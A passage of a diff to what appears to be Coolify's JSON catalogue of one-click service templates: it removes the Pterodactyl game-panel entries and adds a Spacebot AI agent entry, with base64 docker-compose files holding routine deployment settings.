icKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3878,38 +3837,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -4404,6 +4331,25 @@
"minversion": "0.0.0",
"port": "8989"
},
+ "spacebot": {
+ "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io",
+ "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.",
+ "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=",
+ "tags": [
+ "ai",
+ "agent",
+ "anthropic",
+ "openai",
+ "discord",
+ "slack",
+ "llm",
+ "agentic"
+ ],
+ "category": "ai",
+ "logo": "svgs/spacebot.png",
+ "minversion": "0.0.0",
+ "port": "19898"
+ },
"sparkyfitness": {
"documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io",
"slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.",
@@ -4548,6 +4494,22 @@
"minversion": "0.0.0",
"port": "3567"
},
+ "sure": {
+ "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io",
+ "slogan": "An all-in-one personal finance platform.",
